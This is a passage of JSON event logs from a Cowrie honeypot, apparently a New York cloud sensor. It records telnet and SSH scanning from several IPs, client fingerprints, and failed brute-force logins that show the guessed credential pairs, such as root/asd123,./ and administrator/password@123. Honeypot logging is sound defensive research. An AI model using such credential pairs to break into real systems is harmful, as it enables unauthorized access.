{"eventid":"cowrie.session.closed","duration":38.69366717338562,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:39:04.984644Z","src_ip":"104.245.105.2","session":"90ba0d316ba7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":47228,"dst_ip":"159.203.135.109","dst_port":23,"session":"1cdeaa37d346","protocol":"telnet","message":"New connection: 174.142.104.49:47228 (159.203.135.109:23) [session: 1cdeaa37d346]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:39:05.257765Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":40836,"dst_ip":"159.203.135.109","dst_port":23,"session":"c92bed10e4d8","protocol":"telnet","message":"New connection: 161.132.53.68:40836 (159.203.135.109:23) [session: c92bed10e4d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:39:05.924876Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":40838,"dst_ip":"159.203.135.109","dst_port":23,"session":"f3507c2e54f0","protocol":"telnet","message":"New connection: 161.132.53.68:40838 (159.203.135.109:23) [session: f3507c2e54f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:39:06.627543Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":36474,"dst_ip":"159.203.135.109","dst_port":23,"session":"755faef4412c","protocol":"telnet","message":"New connection: 161.132.53.68:36474 (159.203.135.109:23) [session: 755faef4412c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:39:07.735787Z"}
{"eventid":"cowrie.session.closed","duration":33.365304708480835,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:39:07.823474Z","src_ip":"161.132.53.68","session":"a4eacaff6902","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"124.18.182.99","src_port":46854,"dst_ip":"10.17.0.5","dst_port":22,"session":"c3af1d5c136d","protocol":"ssh","message":"New connection: 124.18.182.99:46854 (10.17.0.5:22) [session: c3af1d5c136d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:39:08.588629Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:39:08.593679Z","src_ip":"124.18.182.99","session":"c3af1d5c136d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:39:08.765835Z","src_ip":"124.18.182.99","session":"c3af1d5c136d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jumpuser","password":"jumpuser","message":"login attempt [jumpuser/jumpuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:39:09.495658Z","src_ip":"124.18.182.99","session":"c3af1d5c136d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":60354,"dst_ip":"159.203.135.109","dst_port":23,"session":"07d807261221","protocol":"telnet","message":"New connection: 174.142.104.49:60354 (159.203.135.109:23) [session: 07d807261221]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:39:10.058435Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:39:10.670493Z","src_ip":"124.18.182.99","session":"c3af1d5c136d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"220.119.37.141","src_port":42640,"dst_ip":"10.17.0.5","dst_port":22,"session":"639faa584cad","protocol":"ssh","message":"New connection: 220.119.37.141:42640 (10.17.0.5:22) [session: 639faa584cad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:39:10.998545Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:39:11.003068Z","src_ip":"220.119.37.141","session":"639faa584cad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:39:11.200446Z","src_ip":"220.119.37.141","session":"639faa584cad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":36484,"dst_ip":"159.203.135.109","dst_port":23,"session":"39b3fb6ca304","protocol":"telnet","message":"New connection: 161.132.53.68:36484 (159.203.135.109:23) [session: 39b3fb6ca304]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:39:11.985023Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"asd123,./","message":"login attempt [root/asd123,./] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:39:12.019211Z","src_ip":"220.119.37.141","session":"639faa584cad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:39:13.225922Z","src_ip":"220.119.37.141","session":"639faa584cad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.847419023513794,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:39:13.244449Z","src_ip":"174.142.104.49","session":"48e169e1d3d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":36496,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d07639b7686","protocol":"telnet","message":"New connection: 161.132.53.68:36496 (159.203.135.109:23) [session: 5d07639b7686]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:39:13.342631Z"}
{"eventid":"cowrie.session.closed","duration":31.185224533081055,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:39:17.477560Z","src_ip":"161.132.53.68","session":"1a2bbbdc516a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"200.105.172.184","src_port":58846,"dst_ip":"159.203.135.109","dst_port":22,"session":"57668b9ee857","protocol":"ssh","message":"New connection: 200.105.172.184:58846 (159.203.135.109:22) [session: 57668b9ee857]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:39:17.602848Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:39:17.607870Z","src_ip":"200.105.172.184","session":"57668b9ee857","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:39:17.728518Z","src_ip":"200.105.172.184","session":"57668b9ee857","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"password@123","message":"login attempt [administrator/password@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:39:18.244709Z","src_ip":"200.105.172.184","session":"57668b9ee857","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:39:19.369417Z","src_ip":"200.105.172.184","session":"57668b9ee857","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":48242,"dst_ip":"159.203.135.109","dst_port":23,"session":"66d01bc636f9","protocol":"telnet","message":"New connection: 174.142.104.49:48242 (159.203.135.109:23) [session: 66d01bc636f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:39:19.561731Z"}
{"eventid":"cowrie.session.closed","duration":31.42473268508911,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:39:20.003763Z","src_ip":"161.132.53.68","session":"bf5d06754af0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.182912826538086,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:39:21.842954Z","src_ip":"161.132.53.68","session":"b6e70dbf31d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.50344157218933,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:39:22.223151Z","src_ip":"161.132.53.68","session":"c0bd9b580370","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":59432,"dst_ip":"159.203.135.109","dst_port":23,"session":"bf23f5ed6ed8","protocol":"telnet","message":"New connection: 161.132.53.68:59432 (159.203.135.109:23) [session: bf23f5ed6ed8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:39:23.394214Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":59434,"dst_ip":"159.203.135.109","dst_port":23,"session":"2445ba40d236","protocol":"telnet","message":"New connection: 161.132.53.68:59434 (159.203.135.109:23) [session: 2445ba40d236]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:39:23.722660Z"}
{"eventid":"cowrie.session.closed","duration":32.000263690948486,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:39:27.347312Z","src_ip":"174.142.104.49","session":"69456b60c725","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.619263410568237,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:39:28.370690Z","src_ip":"161.132.53.68","session":"a5d1030eb359","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.4314124584198,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:39:28.375646Z","src_ip":"174.142.104.49","session":"5f41ffc51e9b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.983792304992676,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:39:30.272830Z","src_ip":"161.132.53.68","session":"a00935fb3ae5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":47358,"dst_ip":"159.203.135.109","dst_port":23,"session":"451aabdada9b","protocol":"telnet","message":"New connection: 174.142.104.49:47358 (159.203.135.109:23) [session: 451aabdada9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:39:31.716338Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":43652,"dst_ip":"159.203.135.109","dst_port":23,"session":"e6a4057ac1c0","protocol":"telnet","message":"New connection: 161.132.53.68:43652 (159.203.135.109:23) [session: e6a4057ac1c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:39:32.949856Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":43660,"dst_ip":"159.203.135.109","dst_port":23,"session":"fedaa50bb2ac","protocol":"telnet","message":"New connection: 161.132.53.68:43660 (159.203.135.109:23) [session: fedaa50bb2ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:39:34.036535Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":42004,"dst_ip":"159.203.135.109","dst_port":23,"session":"afd39275f2ff","protocol":"telnet","message":"New connection: 161.132.53.68:42004 (159.203.135.109:23) [session: afd39275f2ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:39:37.118541Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":42006,"dst_ip":"159.203.135.109","dst_port":23,"session":"8083fe661456","protocol":"telnet","message":"New connection: 161.132.53.68:42006 (159.203.135.109:23) [session: 8083fe661456]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:39:37.187345Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":59968,"dst_ip":"159.203.135.109","dst_port":23,"session":"9ed6c336cb0f","protocol":"telnet","message":"New connection: 174.142.104.49:59968 (159.203.135.109:23) [session: 9ed6c336cb0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:39:38.690789Z"}
{"eventid":"cowrie.session.closed","duration":31.168307542800903,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:39:38.903953Z","src_ip":"161.132.53.68","session":"755faef4412c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.34023880958557,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:39:38.967660Z","src_ip":"161.132.53.68","session":"f3507c2e54f0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.7594268321991,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:39:39.684386Z","src_ip":"161.132.53.68","session":"c92bed10e4d8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":33278,"dst_ip":"159.203.135.109","dst_port":23,"session":"23c1d127cddf","protocol":"telnet","message":"New connection: 174.142.104.49:33278 (159.203.135.109:23) [session: 23c1d127cddf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:39:39.721812Z"}
{"eventid":"cowrie.session.closed","duration":30.688552618026733,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:39:40.746887Z","src_ip":"174.142.104.49","session":"07d807261221","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.35.59.237","src_port":53804,"dst_ip":"10.17.0.5","dst_port":22,"session":"ff50b7e1e824","protocol":"ssh","message":"New connection: 114.35.59.237:53804 (10.17.0.5:22) [session: ff50b7e1e824]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:39:41.483689Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:39:41.490788Z","src_ip":"114.35.59.237","session":"ff50b7e1e824","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:39:41.707471Z","src_ip":"114.35.59.237","session":"ff50b7e1e824","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp-test","password":"123123","message":"login attempt [ftp-test/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:39:42.611624Z","src_ip":"114.35.59.237","session":"ff50b7e1e824","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:39:43.831753Z","src_ip":"114.35.59.237","session":"ff50b7e1e824","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.846662998199463,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:39:44.189192Z","src_ip":"161.132.53.68","session":"5d07639b7686","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.30968523025513,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:39:44.294583Z","src_ip":"161.132.53.68","session":"39b3fb6ca304","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":42018,"dst_ip":"159.203.135.109","dst_port":23,"session":"39be7c10c80c","protocol":"telnet","message":"New connection: 161.132.53.68:42018 (159.203.135.109:23) [session: 39be7c10c80c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:39:45.895129Z"}
{"eventid":"cowrie.session.closed","duration":41.805723905563354,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:39:47.063358Z","src_ip":"174.142.104.49","session":"1cdeaa37d346","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":42772,"dst_ip":"159.203.135.109","dst_port":23,"session":"ba425ab44584","protocol":"telnet","message":"New connection: 174.142.104.49:42772 (159.203.135.109:23) [session: ba425ab44584]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:39:47.757120Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":37080,"dst_ip":"159.203.135.109","dst_port":23,"session":"48a8431c392b","protocol":"telnet","message":"New connection: 161.132.53.68:37080 (159.203.135.109:23) [session: 48a8431c392b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:39:47.866517Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":53712,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a5a976f62a4","protocol":"telnet","message":"New connection: 174.142.104.49:53712 (159.203.135.109:23) [session: 8a5a976f62a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:39:50.536634Z"}
{"eventid":"cowrie.session.closed","duration":31.087791919708252,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:39:50.649381Z","src_ip":"174.142.104.49","session":"66d01bc636f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":56202,"dst_ip":"159.203.135.109","dst_port":23,"session":"7249a50e80bb","protocol":"telnet","message":"New connection: 174.142.104.49:56202 (159.203.135.109:23) [session: 7249a50e80bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:39:52.976205Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":59850,"dst_ip":"159.203.135.109","dst_port":23,"session":"f17a3969d162","protocol":"telnet","message":"New connection: 174.142.104.49:59850 (159.203.135.109:23) [session: f17a3969d162]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:39:53.966348Z"}
